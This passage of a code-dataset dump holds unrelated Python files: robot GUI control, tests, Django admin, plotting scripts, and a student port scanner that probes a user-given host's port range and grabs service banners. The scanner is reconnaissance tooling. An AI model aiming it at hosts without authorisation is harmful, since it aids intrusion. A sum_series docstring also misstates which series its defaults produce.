ttk.Button(main_frame,text='UP',padding=20)\n up_button['command'] = lambda: mqtt_client.send_message(\"go_forward\",[600,600])\n root.bind('', lambda event: mqtt_client.send_message(\"go_forward\",[600,600]))\n up_button.grid(column=1,row=1)\n\n down_button = ttk.Button(main_frame,text='Down',padding=20)\n down_button['command'] = lambda: mqtt_client.send_message('go_backwards',[600,600])\n root.bind('', lambda event: mqtt_client.send_message(\"go_backwards\", [600,600]))\n down_button.grid(row=3,column=1)\n\n right_button = ttk.Button(main_frame,text='Right',padding=20)\n right_button['command']= lambda: mqtt_client.send_message('go_right', [600])\n root.bind('', lambda event: mqtt_client.send_message(\"go_right\", [600]))\n right_button.grid(column=3,row=2)\n\n left_button = ttk.Button(main_frame,text='Left',padding=20)\n left_button['command'] = lambda: mqtt_client.send_message('go_left', [600])\n root.bind('', lambda event: mqtt_client.send_message(\"go_left\", [600]))\n left_button.grid(column=0,row=2)\n\n stop_button = ttk.Button(main_frame,text='STOP', padding=20)\n stop_button['command']= lambda: mqtt_client.send_message('not_go')\n root.bind('', lambda event: mqtt_client.send_message(\"not_go\"))\n stop_button.grid(column=1,row=2)\n\n Arm_Up_button = ttk.Button(main_frame,text='Arm Up',padding=20)\n Arm_Up_button['command']=lambda: mqtt_client.send_message('arm_up')\n root.bind('', lambda event: mqtt_client.send_message(\"arm_up\"))\n Arm_Up_button.grid(column=5,row=1)\n\n Arm_down_button = ttk.Button(main_frame,text='Arm Down',padding=20)\n Arm_down_button['command']=lambda: mqtt_client.send_message('arm_down')\n root.bind('', lambda event: mqtt_client.send_message('arm_down'))\n Arm_down_button.grid(column=5,row=3)\n\n Arm_calabrate_button = ttk.Button(main_frame,text='Arm Calibration',padding=20)\n Arm_calabrate_button['command']=lambda: mqtt_client.send_message('arm_calibration')\n Arm_calabrate_button.grid(column=5,row=2)\n\ndef main():\n\n mqtt_client = com.MqttClient()\n mqtt_client.connect_to_ev3()\n\n Main_Menu(mqtt_client)\n\n\nmain()","sub_path":"projects/Whitacbc Project/Whitacbc Project pc.py","file_name":"Whitacbc Project pc.py","file_ext":"py","file_size_in_byte":6158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"518139199","text":"# appending in a file based on user's choice whether to add in the\n# same line or into a new line\n\ndef appendOnChoice(file, text, choice):\n f = open(file, 'a')\n if choice == 'space':\n f.write(' ' + text)\n else:\n f.writelines(text)\n\n f.close()\n","sub_path":"fileio/appendOnChoice.py","file_name":"appendOnChoice.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"395581910","text":"from citadels.cards import District\nfrom citadels.gameplay import GameController\nfrom citadels import rules\n\nfrom fixtures import game\n\n\ndef test_score_is_cost_of_the_city(game):\n # arrange\n player = game.add_player('Player', city=[District.Watchtower, District.Palace])\n\n # act\n score = rules.score(player, game)\n\n # assert\n assert score == 1 + 5\n\n\ndef test_bonus_for_all_colors(game):\n # arrange\n player = game.add_player('Player', city=[District.Watchtower, District.Tavern, District.Temple, District.Manor])\n\n # act\n score = rules.score(player, game)\n\n # assert\n bonus = 3\n assert score == 1 + 1 + 1 + 3 + bonus\n\n\ndef test_bonus_for_completing_city(game):\n # arrange\n player = game.add_player('Player', city=[District.Watchtower]*8)\n\n # act\n score = rules.score(player, game)\n\n # assert\n bonus = 2\n assert score == 8 + bonus\n\n\ndef test_bonus_for_completing_city_first(game):\n # arrange\n player = game.add_player('Player', city=[District.Watchtower]*8)\n\n game.turn.first_completer = player\n\n # act\n score = rules.score(player, game)\n\n # assert\n bonus = 4\n assert score == 8 + bonus\n\n\ndef test_winner_with_most_score(game):\n # arrange\n player1 = game.add_player('Player1', city=[District.Watchtower]*8)\n player2 = game.add_player('Player2', city=[District.Watchtower]*7)\n\n game_controller = GameController(game)\n\n game.turn.first_completer = player1\n\n # act\n winner = game_controller.winner\n\n # assert\n assert winner == player1\n\n\ndef test_winner_with_most_score_without_bonuses_if_tie(game):\n # arrange\n player1 = game.add_player('Player1', city=[District.Watchtower]*8)\n player2 = game.add_player('Player2', city=[District.Palace, District.Cathedral, District.TradingPost])\n\n game_controller = GameController(game)\n\n game.turn.first_completer = player1\n\n assert rules.score(player1, game) == 12\n assert rules.score(player2, game) == 12\n\n # act\n winner = game_controller.winner\n\n # assert\n assert winner == player2\n\n\ndef test_winner_with_most_gold_if_double_tie(game):\n # arrange\n player1 = game.add_player('Player1', city=[District.Watchtower]*8)\n player2 = game.add_player('Player2', city=[District.Tavern]*8)\n\n player1.cash_in(9)\n player2.cash_in(10)\n\n game_controller = GameController(game)\n\n assert rules.score(player1, game) == 10\n assert rules.score(player1, game, with_bonuses=False) == 8\n assert rules.score(player2, game) == 10\n assert rules.score(player2, game, with_bonuses=False) == 8\n\n # act\n winner = game_controller.winner\n\n # assert\n assert winner == player2\n","sub_path":"tests/test_score.py","file_name":"test_score.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"334857661","text":"\"\"\"\nAuthor: Jan Suleiman\nOrganization: terrestris GmbH & Co. KG, Bonn, Germany\nContact: suleiman@terrestris.de\nCreated on: 16.03.2020\n\n\"\"\"\nfrom django.contrib import admin\nfrom monitoring.models import *\nfrom django.utils.safestring import mark_safe\nfrom django.urls import reverse\nfrom django.template.defaultfilters import escape\n\n\nclass HealthStateReasonAdmin(admin.ModelAdmin):\n list_display = ('id', 'health_state', 'monitoring_result', 'reason', 'health_state_code', )\n\n\nclass HealthStateAdmin(admin.ModelAdmin):\n list_display = ('uuid', 'health_state_code', 'health_message', )\n\n\nclass MonitoringSettingAdmin(admin.ModelAdmin):\n list_display = ('id', 'check_time', 'timeout', 'periodic_task')\n\n\nclass MonitoringRunAdmin(admin.ModelAdmin):\n list_display = ('uuid', 'start', 'end', 'duration', )\n\n\nclass MonitoringAdmin(admin.ModelAdmin):\n list_display = ('uuid', 'metadata_link', 'timestamp', 'duration', 'status_code', 'error_msg', 'available', 'monitored_uri', 'monitoring_run', )\n list_filter = ('monitoring_run', )\n\n def metadata_link(self, obj):\n return mark_safe('%s' % (reverse(\"admin:service_metadata_change\", args=(obj.metadata.id,)), escape(obj.metadata)))\n\n metadata_link.allow_tags = True\n metadata_link.short_description = \"metadata\"\n\n\nclass MonitoringCapabilityAdmin(admin.ModelAdmin):\n list_display = ('uuid', 'metadata', 'needs_update', 'diff')\n\n\nadmin.site.register(HealthStateReason, HealthStateReasonAdmin)\nadmin.site.register(HealthState, HealthStateAdmin)\nadmin.site.register(MonitoringSetting, MonitoringSettingAdmin)\nadmin.site.register(MonitoringResult, MonitoringAdmin)\nadmin.site.register(MonitoringResultDocument, MonitoringCapabilityAdmin)\n\n# Should not be visible for daily use\nadmin.site.register(MonitoringRun, MonitoringRunAdmin)\n","sub_path":"mrmap/monitoring/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"30603337","text":"#-*- coding: utf-8 -*-\n\nimport RPi.GPIO as GPIO\nimport time\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\n\npwmpin = 18\nGPIO.setup(pwmpin, GPIO.OUT)\n\np = GPIO.PWM(pwmpin, 144)\np.start(0)\n\ntry:\n while 1:\n for dc in range(0,101,5):\n p.ChangeDutyCycle(dc)\n time.sleep(0.01)\n for dc in range(100, -1, -5):\n p.ChangeDutyCycle(dc)\n time.sleep(0.01)\nexcept KeyboardInterrupt:\n pass\np.stop()\nGPIO.cleanup()\n\n","sub_path":"pwm_led.py","file_name":"pwm_led.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"73697607","text":"import os\nimport PureCloudPlatformClientV2\nfrom pprint import pprint\nfrom PureCloudPlatformClientV2.rest import ApiException\n\nprint(\"-------------------------------------------------------------\")\nprint(\"- Agentless SMS Notifications -\")\nprint(\"-------------------------------------------------------------\")\n\n# OAuth when using Client Credentials\napiClient = PureCloudPlatformClientV2.api_client.ApiClient() \\\n .get_client_credentials_token(os.environ['GENESYS_CLOUD_CLIENT_ID'],\n os.environ['GENESYS_CLOUD_CLIENT_SECRET'])\n\n# Genesys Cloud Objects\nconversations_api = PureCloudPlatformClientV2.ConversationsApi(apiClient)\n\n# Body of the request\nbody = PureCloudPlatformClientV2.SendAgentlessOutboundMessageRequest()\nbody.from_address = \"+13178723000\"\nbody.to_address = \"+15557655942\"\nbody.to_address_messenger_type = \"sms\"\nbody.text_body = \"Hello, this is a test notification\"\n\ntry:\n # Send the SMS notification request\n response = conversations_api.post_conversations_messages_agentless(body)\n pprint(response)\nexcept ApiException as e:\n print(\"Exception when calling ConversationsApi->post_conversations_messages_agentless: %s\\n\" % e)\n","sub_path":"agentless-sms-notifications/python/agentless-sms-notifications.py","file_name":"agentless-sms-notifications.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"607182140","text":"#! /usr/bin/env python\n\nimport roslib\nroslib.load_manifest('franka_action_lib')\nimport rospy\nimport actionlib\n\nfrom franka_action_lib.msg import ExecuteSkillAction, ExecuteSkillGoal\n\nfrom skill_list import BaseSkill\nfrom skill_list import NoOpSkill\n\ndef feedback_callback(feedback):\n print(feedback)\n\nif __name__ == '__main__':\n rospy.init_node('example_execute_skill_action_client')\n client = actionlib.SimpleActionClient('/execute_skill_action_server_node/execute_skill', ExecuteSkillAction)\n client.wait_for_server()\n\n skill = NoOpSkill()\n goal = skill.create_goal()\n\n print(goal)\n \n client.send_goal(goal, feedback_cb=lambda x: skill.feedback_callback(x))\n done = client.wait_for_result(rospy.Duration.from_sec(5.0))\n\n while not rospy.is_shutdown() and done != True:\n done = client.wait_for_result(rospy.Duration.from_sec(5.0))\n","sub_path":"manipulation/robot-interface/src/catkin_ws/src/franka_action_lib/examples/no_op_skill_example.py","file_name":"no_op_skill_example.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"171334456","text":"from reward.support_plane import SupportPlane\nimport numpy as np\n\nclass ZMP:\n def __init__(self, params):\n self.params = params\n self.support_plane = SupportPlane(params)\n self.g = np.array([\n 0.0,\n 0.0,\n -9.8\n ])\n self.zmp_s = np.zeros((3,))\n self.zmp = np.zeros((3,))\n self.inertial_plane = np.eye(N = 3)\n self.plane = self.inertial_plane\n\n\n def build(self, t, Tb, A, B, AL, BL, AF, BF):\n self.support_plane.build(t, Tb, A, B, AL, BL, AF, BF)\n\n def _transform(self, vec, cs1, cs2):\n return self.support_plane.transform(vec, cs1, cs2)\n\n def get_ZMP_s(self, com, force, torque):\n self.plane = self.support_plane()\n com_s = self._transform(com, self.plane, self.inertial_plane)\n force_s = self._transform(force, self.plane, self.inertial_plane)\n torque_s = self._transform(torque, self.plane, self.inertial_plane)\n g_s = self._transform(self.g, self.plane, self.inertial_plane)\n zmp_s = np.zeros((3,))\n zmp_s[1] = com_s[1] - (\n com_s[0] * (\n force_s[1] + g_s[1]\n ) + torque_s[2]\n ) / (force_s[0] + g_s[0])\n zmp_s[2] = com_s[2] - (\n com_s[0] * (\n force_s[2] + g_s[2]\n ) - torque_s[1]\n ) / (force_s[0] + g_s[0])\n return zmp_s\n\n def __call__(self, com, force, torque, v_real, v_exp, eta):\n self.zmp_s = self.get_ZMP_s(com, force, torque)\n self.zmp = self.zmp_s + eta*(v_real - v_exp)\n self.zmp[0] = 0\n return self._transform(self.zmp, self.inertial_plane, self.plane)\n","sub_path":"reward/zmp.py","file_name":"zmp.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"244857521","text":"import matplotlib\nmatplotlib.use('Qt5Agg')\nmatplotlib.rcParams[\"figure.dpi\"] = 96\nmatplotlib.rcParams[\"figure.figsize\"] = (8, 4)\nfrom matplotlib.pyplot import *\nfrom logger import LoggingDataV2\nimport pickle\nfrom numpy import pi\nimport ModelConstants as mc\nfrom helicontrollers.util import L1, L2, L3, L4, Je, Jl, Jp\n\n\ndef load_bundle(file_name, end_time=None):\n full_path = f\"C:\\\\dev\\\\HeliControl\\\\Daten\\\\Praesentation\\\\{file_name}.hc2\"\n with open(full_path, \"rb\") as file:\n bundle: LoggingDataV2 = pickle.load(file)\n\n if end_time is not None:\n indices = bundle.ts <= end_time\n bundle.ts = bundle.ts[indices]\n bundle.xs = bundle.xs[indices, :]\n bundle.lambda_traj_and_derivatives = bundle.lambda_traj_and_derivatives[indices, :]\n bundle.e_traj_and_derivatives = bundle.e_traj_and_derivatives[indices, :]\n # And other entries, if required\n\n return bundle\n\n\nstep_responses = [\n (\"LQR Sprung in $\\\\varepsilon$\", load_bundle(\"lqr_step_e\", 3)),\n (\"LQR Sprung in $\\\\lambda$\", load_bundle(\"lqr_step_lambda\")),\n (\"LQR große Distanz\", load_bundle(\"lqr_big_movement\", 6)),\n (\"PID Sprung in $\\\\varepsilon$\", load_bundle(\"pid_step_e\", 2)),\n (\"PID Sprung in $\\\\lambda$\", load_bundle(\"pid_step_lambda\", 6)),\n (\"PID große Distanz\", load_bundle(\"pid_big_movement\", 6))\n]\n\ndisturb_responses = [\n (\"LQR Störung auf $\\\\varepsilon$\", load_bundle(\"lqr_disturb_e\", 6)),\n (\"LQR Störung auf $\\\\lambda$\", load_bundle(\"lqr_disturb_lambda\", 8)),\n (\"PID Störung auf $\\\\varepsilon$\", load_bundle(\"pid_disturb_e\")),\n (\"PID Störung auf $\\\\lambda$\", load_bundle(\"pid_disturb_lambda\")),\n]\n\nfor step_response in step_responses:\n title_str, bundle = step_response\n figure(title_str.replace(\"$\", \"\").replace(\"\\\\\", \"\"))\n title(title_str)\n xlabel(\"$t$ [s]\")\n ylabel(\"Winkel [°]\")\n plot(bundle.ts, 180 / pi * bundle.xs[:, 0], label=\"$\\\\varphi$\")\n plot(bundle.ts, 180 / pi * bundle.xs[:, 1], label=\"$\\\\varepsilon$\")\n plot(bundle.ts, 180 / pi * bundle.xs[:, 2], label=\"$\\\\lambda$\")\n legend()\n grid()\n tight_layout()\n\nfor disturb_response in disturb_responses:\n title_str, bundle = disturb_response\n figure(title_str.replace(\"$\", \"\").replace(\"\\\\\", \"\"))\n title(title_str)\n xlabel(\"$t$ [s]\")\n ylabel(\"Winkel [°]\")\n plot(bundle.ts, 180 / pi * bundle.xs[:, 0], label=\"$\\\\varphi$\")\n plot(bundle.ts, 180 / pi * bundle.xs[:, 1], label=\"$\\\\varepsilon$\")\n plot(bundle.ts, 180 / pi * bundle.xs[:, 2], label=\"$\\\\lambda$\")\n axvline(1, color=\"black\", label=\"Zeit der Störung\", linestyle=\"dotted\")\n legend()\n grid()\n tight_layout()\n\n\ndef calc_pd(xs, e_traj, lambda_traj):\n p = xs[:, 0]\n e = xs[:, 1]\n l = xs[:, 2]\n dp = xs[:, 3]\n de = xs[:, 4]\n dl = xs[:, 5]\n wf = xs[:, 6]\n wb = xs[:, 7]\n\n ke = [20, 6]\n kl = [1, 0.8]\n kp = [150, 20]\n\n mue = mc.d_e\n mul = mc.d_l\n mup = mc.d_p\n\n v1 = e_traj[:, 2] - ke[1] * (de - e_traj[:, 1]) - ke[0] * (e - e_traj[:, 0])\n v2 = lambda_traj[:, 2] - kl[1] * (dl - lambda_traj[:, 1]) - kl[0] * (l - lambda_traj[:, 0])\n\n u1v = 1 / L3 * (Je * v1 - L2 * np.cos(e) + mue * de + Je * np.cos(e) * np.sin(e) * dl ** 2)\n u2v = 1 / (L4 * np.cos(e)) * (Jl * v2 + mul * dl)\n\n pd = np.arctan(u2v / u1v)\n\n return pd\n\n\nb: LoggingDataV2 = load_bundle(\"trajectory_30deg_6s\", 10)\nfigure(\"Folgeregler 6s\")\ntitle(\"Folgeregelung bei 6 s Trajektorie\")\nxlabel(\"$t$ [s]\")\nylabel(\"Winkel [°]\")\nplot(b.ts, 180 / pi * b.xs[:, 0], label=\"$\\\\varphi$\")\nplot(b.ts, 180 / pi * b.xs[:, 1], label=\"$\\\\varepsilon$\")\nplot(b.ts, 180 / pi * b.xs[:, 2], label=\"$\\\\lambda$\")\nplot(b.ts, 180 / pi * calc_pd(b.xs, b.e_traj_and_derivatives, b.lambda_traj_and_derivatives), label=\"Reglervorgabe $\\\\varphi^*$\", linestyle=\"dotted\", color=\"black\")\nplot(b.ts, 180 / pi * b.e_traj_and_derivatives[:, 0], label=\"Trajektorie $\\\\varepsilon$ und $\\\\lambda$\", linestyle=\"dashed\", color=\"black\")\nlegend(loc='lower right')\ngrid()\ntight_layout()\n\nfigure(\"Folgefehler 6s\")\ntitle(\"Folgefehler bei 6 s Trajektorie\")\nxlabel(\"$t$ [s]\")\nylabel(\"Winkel [°]\")\nplot(b.ts, 180 / pi * (b.xs[:, 1] - b.e_traj_and_derivatives[:, 0]), label=\"$\\\\varepsilon - \\\\varepsilon_d$\")\nplot(b.ts, 180 / pi * (b.xs[:, 2] - b.e_traj_and_derivatives[:, 0]), label=\"$\\\\lambda - \\\\lambda_d$\")\nlegend()\ngrid()\ntight_layout()\n\nb: LoggingDataV2 = load_bundle(\"trajectory_30deg_4s\", 10)\nfigure(\"Folgeregler 4s mit Reaktionsmoment\")\ntitle(\"Folgeregelung bei 4 s Trajektorie (mit Reaktionsmoment)\")\nxlabel(\"$t$ [s]\")\nylabel(\"Winkel [°]\")\nplot(b.ts, 180 / pi * b.xs[:, 0], label=\"$\\\\varphi$\")\nplot(b.ts, 180 / pi * b.xs[:, 1], label=\"$\\\\varepsilon$\")\nplot(b.ts, 180 / pi * b.xs[:, 2], label=\"$\\\\lambda$\")\nplot(b.ts, 180 / pi * calc_pd(b.xs, b.e_traj_and_derivatives, b.lambda_traj_and_derivatives), label=\"Reglervorgabe $\\\\varphi^*$\", linestyle=\"dotted\", color=\"black\")\nplot(b.ts, 180 / pi * b.e_traj_and_derivatives[:, 0], label=\"Trajektorie $\\\\varepsilon$ und $\\\\lambda$\", linestyle=\"dashed\", color=\"black\")\nlegend()\ngrid()\ntight_layout()\n\nfigure(\"Folgefehler 4s mit Reaktionsmoment\")\ntitle(\"Folgefehler bei 4 s Trajektorie (mit Reaktionsmoment)\")\nxlabel(\"$t$ [s]\")\nylabel(\"Winkel [°]\")\nplot(b.ts, 180 / pi * (b.xs[:, 1] - b.e_traj_and_derivatives[:, 0]), label=\"$\\\\varepsilon - \\\\varepsilon_d$\")\nplot(b.ts, 180 / pi * (b.xs[:, 2] - b.e_traj_and_derivatives[:, 0]), label=\"$\\\\lambda - \\\\lambda_d$\")\nlegend()\ngrid()\ntight_layout()\n\n\nb: LoggingDataV2 = load_bundle(\"trajectory_30deg_4s_no_reaction\", 10)\nfigure(\"Folgeregler 4s ohne Reaktionsmoment\")\ntitle(\"Folgeregelung bei 4 s Trajektorie (ohne Reaktionsmoment)\")\nxlabel(\"$t$ [s]\")\nylabel(\"Winkel [°]\")\nplot(b.ts, 180 / pi * b.xs[:, 0], label=\"$\\\\varphi$\")\nplot(b.ts, 180 / pi * b.xs[:, 1], label=\"$\\\\varepsilon$\")\nplot(b.ts, 180 / pi * b.xs[:, 2], label=\"$\\\\lambda$\")\nplot(b.ts, 180 / pi * calc_pd(b.xs, b.e_traj_and_derivatives, b.lambda_traj_and_derivatives), label=\"Reglervorgabe $\\\\varphi^*$\", linestyle=\"dotted\", color=\"black\")\nplot(b.ts, 180 / pi * b.e_traj_and_derivatives[:, 0], label=\"Trajektorie $\\\\varepsilon$ und $\\\\lambda$\", linestyle=\"dashed\", color=\"black\")\nlegend()\ngrid()\ntight_layout()\n\nfigure(\"Folgefehler 4s ohne Reaktionsmoment\")\ntitle(\"Folgefehler bei 4 s Trajektorie (ohne Reaktionsmoment)\")\nxlabel(\"$t$ [s]\")\nylabel(\"Winkel [��]\")\nplot(b.ts, 180 / pi * (b.xs[:, 1] - b.e_traj_and_derivatives[:, 0]), label=\"$\\\\varepsilon - \\\\varepsilon_d$\")\nplot(b.ts, 180 / pi * (b.xs[:, 2] - b.e_traj_and_derivatives[:, 0]), label=\"$\\\\lambda - \\\\lambda_d$\")\nlegend()\ngrid()\ntight_layout()\n\n\nshow()\n","sub_path":"Oberseminar/endpraesentation_diagramme.py","file_name":"endpraesentation_diagramme.py","file_ext":"py","file_size_in_byte":6610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"650969204","text":"#!/usr/bin/python\r\n\r\nimport socket\r\nimport os\r\n\r\n#s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nusrtarg = input(\"Please Enter Target: \")\r\ntarget = f'{usrtarg}'\r\nprint(\"Your Target Is: \",target)\r\n\r\nusrport1 = input(\"Please Enter Starting Port: \")\r\ntargport1 = f'{usrport1}'\r\n\r\nusrport2 = input(\"Please Enter Ending Port: \")\r\ntargport2 = f'{usrport2}'\r\n\r\nprint(\"Port Range Selected: \", usrport1, \"-\", usrport2)\r\n\r\n\r\ndef ban(target, xport):\r\n bannergrabber = socket.socket(socket.AF_INET,socket.SOCK_STREAM) \r\n bannergrabber.settimeout(3) \r\n try:\r\n bannergrabber.connect((target, xport))\r\n bannergrabber.send(b\"GET / \\r\\n\")\r\n banner = str(bannergrabber.recv(4096), 'ascii')\r\n bannergrabber.close()\r\n print (str(banner), \"\\n\")\r\n except: #Exception:\r\n print (\"Cannot connect to port \", xport)\r\n \r\ndef portscan(port):\r\n try:\r\n print(target, \"Port: \", port)\r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n result = s.connect_ex((target, port))\r\n if result == 0:\r\n s.close()\r\n return True\r\n s.close()\r\n except:\r\n return False\r\n\r\n\r\nfor xport in range(int(usrport1), int(int(usrport2) + 1)): \r\n if portscan(xport):\r\n print(\"Port\", xport, \"is Open!\")\r\n ban(target, xport)\r\n else:\r\n print(\"Port\", xport, \"Closed\")\r\n continue\r\n\r\n\r\n#CNS-210 Final Project Callie Coffman and Ben Nabozny\r\n\r\n\r\n","sub_path":"CNS210_Final_Project.py","file_name":"CNS210_Final_Project.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"170033722","text":"import pickle #p9 ; domain of resolvent function is completement of sigma(T)\r\nimport statistics\r\nimport scipy.io\r\nimport numpy as np\r\nimport os\r\nimport math\r\nfrom scipy.stats import ttest_ind\r\nfrom scipy.special import stdtr\r\nimport matplotlib.pyplot as plt #MSE between u and 0; if st dev is small, pick one solutiong to print\r\n#parameter can vary as size of sets vary\r\nN_f2 = 500\r\nN_u2 = 25 #0.3 : 0.071; 0.5: 0.012; 0.2 : .004\r\ntypen = 'N_u'\r\ndata1 = {}\r\nrestrictionx = 1\r\nrestrictiont = 0\r\ndirect = 'sols/'\r\nwith open('data_comparisonN_u.p', 'rb') as fp:\r\n data = pickle.load(fp)\r\n\r\n\r\nNu_data = data\r\n#if 'N_u' in data.keys():\r\n# Nu_data.update(data['N_u'])\r\n#if 'N_f' in data.keys():\r\n# Nf_data.update(data['N_f'])\r\n\r\n\r\nburgers_data = scipy.io.loadmat('burgers_shock.mat')\r\nt = burgers_data['t'].flatten()[:, None]\r\nx = burgers_data['x'].flatten()[:, None]\r\nExact = np.real(burgers_data['usol']).T\r\nu_star = Exact.flatten()[:,None]\r\nX, T = np.meshgrid(x, t)\r\nX_star = np.hstack((X.flatten()[:, None], T.flatten()[:, None]))\r\n\r\n#plot N_f\r\n#plots data lists\r\npoints = Nu_data.keys()\r\nx = [] #will be given level of concentration m\r\ny = [] #will be ave-error over entire domain\r\nz = [] #will be ave. error in given m value\r\nstdevs = []\r\ncontrol = [] # will be ave. error of non-concentrated predictions in given m values\r\ncontrolstdevs = []\r\npvals = []\r\n\r\n\r\n############# creating lists x, y\r\nprint(points)\r\npoints = [0.025, 0.1, 0.2, 0.35, 0.3, 0.4, 0.5, 0.75, 1] #the m-values (usually in dictionary Nf_data)\r\nmaxy = 0\r\n\r\n#for point in points:\r\n# p = point[1]\r\n# if p == N_u2:\r\n# val = sum(Nf_data[point])/len(Nf_data[point])\r\n# x.append(point[0])\r\n# y.append(val)\r\n\r\nx = points\r\n\r\n############# averaging control trials\r\nfilenames = 'solution_data_%s_%s_%s' % (1, N_u2, typen)\r\nfile_list = []\r\nfor filename in os.listdir(direct):\r\n if filename[0:len(filenames)] == 'solution_data_%s_%s_%s' % (1, N_u2, typen) :\r\n file_list.append(filename)\r\nerror_list = []\r\n\r\nfor m in x:\r\n filenames = 'solution_data_%s_%s_%s' % (1, N_u2, typen)\r\n file_list = []\r\n for filename in os.listdir(direct):\r\n if filename[0:len(filenames)] == 'solution_data_%s_%s_%s' % (1, N_u2, typen) :\r\n file_list.append(filename)\r\n control_error_list = []\r\n for file in file_list: #for every trial for the given m value \r\n data = scipy.io.loadmat('./%s' % direct + file)['sol']\r\n X_star2 = []\r\n u_star2 = []\r\n #u_pred2 = []\r\n u_control2= []\r\n k = 0\r\n for point in X_star:\r\n k = k + 1\r\n if (point[0] < restrictionx) & (point[0] > -restrictionx) & (point[1] >= restrictiont) :\r\n X_star2.append(point)\r\n u_star2.append(u_star[k])\r\n u_control2.append(data[k])\r\n u_star2 = np.array(u_star2)\r\n u_control2 = np.array(u_control2)\r\n control_error_list.append(np.linalg.norm(u_star2 - u_control2, 2)/np.linalg.norm(u_star2, 2))\r\n control.append(sum(control_error_list)/len(file_list))\r\n maxy = max(maxy, max(control_error_list))\r\n controlstdevs.append(np.std(control_error_list))\r\n \r\n\r\n\r\n############# creating list z\r\nfor m in x:\r\n print(m)\r\n filenames = 'solution_data_%s_%s_%s' % (m, N_u2, typen)\r\n file_list = []\r\n for filename in os.listdir(direct):\r\n if filename[0:len(filenames)] == 'solution_data_%s_%s_%s' % (m, N_u2, typen) :\r\n file_list.append(filename)\r\n error_list = []\r\n for file in file_list: #for every trial for the given m value \r\n data = scipy.io.loadmat('./%s' % direct + file)['sol']\r\n X_star2 = []\r\n u_star2 = []\r\n u_pred2 = []\r\n #u_control2= []\r\n k = 0\r\n for point in X_star:\r\n k = k + 1\r\n if (point[0] < restrictionx) & (point[0] > -restrictionx) & (point[1] >= restrictiont) :\r\n X_star2.append(point)\r\n u_star2.append(u_star[k])\r\n u_pred2.append(data[k])\r\n #u_control2.append(ave_control[k])\r\n u_star2 = np.array(u_star2)\r\n #X_star2 = np.array(X_star2)\r\n #u_pred2 = np.array(u_pred2)\r\n #u_control2 = np.array(u_control2)\r\n error_list.append(np.linalg.norm(u_star2 - u_pred2, 2)/np.linalg.norm(u_star2))\r\n z.append(sum(error_list)/len(file_list))\r\n stdevs.append(np.std(error_list))\r\n t, p = ttest_ind(error_list, control_error_list, equal_var=False)\r\n pvals.append(p)\r\n maxy = max(maxy, max(error_list))\r\n\r\nmaxy = maxy + 0.25\r\n\r\n#plotting the m v relative error plots + error bars\r\nprint(control)\r\n#plt.scatter(x,y, vmin=0, vmax = 0.0025, label = 'average')#\r\nplt.errorbar(x,z,yerr=stdevs, fmt = 'o', alpha = 0.5)\r\nplt.scatter(x,z, c = 'blue', label ='restricted average')\r\nplt.scatter(x, control, c = 'red', label = 'control')\r\nplt.errorbar(x, control, ecolor = 'red', yerr=controlstdevs, alpha = 0.5, fmt = 'o')\r\n#plt.scatter(x, pvals, c = 'green', label = 'p values')\r\nsign = 1\r\nfor j in range(len(x)):\r\n xval = x[j]\r\n yval = maxy\r\n #plt.text(xval, yval + 0.05*sign, round(pvals[j], 4))\r\n plt.text(xval, z[j] + 0.01, round(pvals[j], 3))\r\n sign = sign*(-1)\r\nplt.figtext(0, 0.02, 'ave test st.dev: %s, control st. dev : %s' % (round(sum(stdevs)/len(stdevs),4), round(sum(controlstdevs)/len(controlstdevs), 4)), fontsize= 'x-small')\r\n#plt.ylim([0, 2*max(max(control),max(z))])\r\nplt.xlim([0, 1.05])\r\nplt.legend()\r\nplt.title('|S_f| = 2^10, 500 points near x = 0; restriction = %s' % restrictionx)\r\nplt.xlabel('m')\r\nplt.ylabel('Relative Error')\r\n\r\n\r\nplt.savefig('./compare_plots/Data_Comparison_Nu_full_%s_%s_%s.png' % (direct.replace('/', '.'), restrictionx, restrictiont))\r\nplt.show() \r\n\r\n# plotting m v p-value?\r\n#plt.scatter(x, pvals)\r\n#plt.show()\r\n#plt.savefig('./compare_plots/ptest_plots_Nu_%s_%s_%s.png' % (direct.replace('/', '.'), restrictionx, restrictiont))","sub_path":"selected_data/select_S_u/plot_chosen_N_u.py","file_name":"plot_chosen_N_u.py","file_ext":"py","file_size_in_byte":5911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"430618862","text":"def fib(n):\n \"\"\" This function calculates a Fibonacci Series, which is a series that\n starts with 0 and 1, then calculates the next number by adding the\n previous two numbers.\"\"\"\n if n == 1:\n return 1\n elif n==2:\n return 1\n else:\n return (fib(n-1) + fib(n-2))\n\ndef lucas(n):\n \"\"\"This function calculates Lucas Numbers, which are a series that\n starts with 2 and 1, then calculates the next number by adding the\n previous two numbers.\"\"\"\n if n == 0:\n return 2\n elif n==1:\n return 1\n else:\n return (lucas(n-1) + lucas(n-2))\n\ndef sum_series(n, o=0, p=1):\n \"\"\"This function calculates either the Fibonacci Series or the Lucas\n Numbers, depending on if additional parameters are provided. If no\n optional parameters, the Lucas Numbers will be calculatted,\n otherwise, the Fibonacci Series will be 